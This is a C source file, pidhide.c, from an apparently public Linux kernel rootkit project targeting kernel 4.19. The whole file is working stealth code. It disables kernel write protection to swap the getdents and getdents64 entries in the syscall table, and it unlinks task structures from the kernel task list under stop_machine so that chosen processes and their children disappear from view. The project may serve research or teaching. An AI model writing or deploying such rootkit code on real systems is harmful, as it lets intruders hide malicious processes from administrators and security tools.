linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

pidhide.c (4181B)


      1 #include <linux/slab.h>
      2 #include <linux/pid.h>
      3 #include <linux/sched.h>
      4 #include <linux/proc_fs.h>
      5 #include <linux/sched/task.h>
      6 
      7 #include <linux/stop_machine.h>
      8 
      9 #include <linux/fs.h>
     10 #include <linux/fdtable.h>
     11 #include <linux/slab.h>
     12 #include <linux/fs_struct.h>
     13 #include <linux/pid.h>
     14 #include <linux/delay.h>
     15 #include <linux/dirent.h>
     16 
     17 #include "common.h"
     18 #include "hook.h"
     19 #include "pidhide.h"
     20 
     21 pid_list_t hidden_pids = {
     22     .pid  = -1,
     23     .prev = NULL,
     24     .next = NULL,
     25 };
     26 
     27 pid_list_t_ptr hidden_pids_tail = &hidden_pids;
     28 
     29 void
     30 hide_pids(void)
     31 {
     32     if (atomic_inc_return(&getdents_install_count) == 1) {
     33         disable_protection();
     34         sys_calls[__NR_getdents] = (void *)g7_getdents;
     35         sys_calls[__NR_getdents64] = (void *)g7_getdents64;
     36         enable_protection();
     37     }
     38 }
     39 
     40 void
     41 unhide_pids(void)
     42 {
     43     if (atomic_dec_return(&getdents_install_count) < 1) {
     44         if (sys_getdents) {
     45             disable_protection();
     46             sys_calls[__NR_getdents] = (void *)sys_getdents;
     47             enable_protection();
     48             while (atomic_read(&getdents_count) > 0);
     49         }
     50 
     51         if (sys_getdents64) {
     52             disable_protection();
     53             sys_calls[__NR_getdents64] = (void *)sys_getdents64;
     54             enable_protection();
     55             while (atomic_read(&getdents64_count) > 0);
     56         }
     57     }
     58 }
     59 
     60 int
     61 del_task_cpu_stopped(void *arg)
     62 {
     63     struct task_struct *ts = (struct task_struct *)arg;
     64 
     65     rwlock_t *rwlock = (rwlock_t *)kallsyms_lookup_name("tasklist_lock");
     66 
     67     if (!ts || !ts->tasks.prev || !ts->tasks.next) {
     68         return 0;
     69     }
     70 
     71     write_lock_irq(rwlock);
     72     list_del(&ts->tasks);
     73     write_unlock_irq(rwlock);
     74 
     75     return 0;
     76 }
     77 
     78 void
     79 hide_pid(pid_t pid)
     80 {
     81     struct pid *spid;
     82     struct task_struct *task;
     83 
     84     if (list_contains_pid(&hidden_pids, pid))
     85         return;
     86 
     87     if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
     88         return;
     89 
     90     struct list_head *i;
     91     list_for_each(i, &task->children) {
     92         struct task_struct *child = list_entry(i, struct task_struct, sibling);
     93 
     94         hide_pid(child->pid);
     95     }
     96 
     97     add_pid_to_list(hidden_pids_tail, pid);
     98 
     99 	struct pid* pid_struct;
    100     pid_struct = find_get_pid(pid);
    101 
    102 	if(pid_struct == NULL)
    103 		return;
    104 
    105     struct task_struct *ts;
    106 	ts = pid_task(pid_struct, PIDTYPE_PID);
    107 
    108     stop_machine((cpu_stop_fn_t)del_task_cpu_stopped, (void *)ts, NULL);
    109 }
    110 
    111 void
    112 unhide_pid(pid_t pid)
    113 {
    114     struct pid *spid;
    115     struct task_struct *task;
    116 
    117     pid_list_t_ptr node;
    118     if (!(node = find_pid_in_list(&hidden_pids, pid)))
    119         return;
    120 
    121     if (node == &hidden_pids)
    122         return;
    123 
    124     if ((spid = find_get_pid(pid)) && (task = pid_task(spid, PIDTYPE_PID))) {
    125         struct list_head *i;
    126         list_for_each(i, &task->children) {
    127             struct task_struct *child = list_entry(i, struct task_struct, sibling);
    128 
    129             unhide_pid(child->pid);
    130         }
    131     }
    132 
    133     remove_pid_from_list(node, pid);
    134 }
    135 
    136 void
    137 clear_hidden_pids(void)
    138 {
    139     pid_list_t_ptr i = hidden_pids_tail;
    140     while ((i = remove_pid_from_list(i, i->pid)));
    141 }
    142 
    143 
    144 bool
    145 list_contains_pid(pid_list_t_ptr list, pid_t pid)
    146 {
    147     return !!find_pid_in_list(list, pid);
    148 }
    149 
    150 pid_list_t_ptr
    151 find_pid_in_list(pid_list_t_ptr head, pid_t pid)
    152 {
    153     pid_list_t_ptr i;
    154     for (i = head; i; i = i->next)
    155         if (i->pid == pid)
    156             return i;
    157 
    158     return NULL;
    159 }
    160 
    161 pid_list_t_ptr
    162 add_pid_to_list(pid_list_t_ptr tail, pid_t pid)
    163 {
    164     pid_list_t_ptr node;
    165     node = (pid_list_t_ptr)kmalloc(sizeof(pid_list_t), GFP_KERNEL);
    166 
    167     if (node) {
    168         node->pid = pid;
    169         node->next = NULL;
    170         node->prev = tail;
    171         tail->next = node;
    172         hidden_pids_tail = node;
    173         return node;
    174     }
    175 
    176     return NULL;
    177 }
    178 
    179 pid_list_t_ptr
    180 remove_pid_from_list(pid_list_t_ptr list, pid_t pid)
    181 {
    182     pid_list_t_ptr i = find_pid_in_list(list, pid), ret = NULL;
    183 
    184     if (i && (i->pid != -1)) {
    185         if (i->next)
    186             i->next->prev = i->prev;
    187         else
    188             hidden_pids_tail = i->prev ? i->prev : &hidden_pids;
    189 
    190         if (i->prev) {
    191             i->prev->next = i->next;
    192             ret = i->prev;
    193         }
    194 
    195         kfree(i);
    196     }
    197 
    198     return ret;
    199 }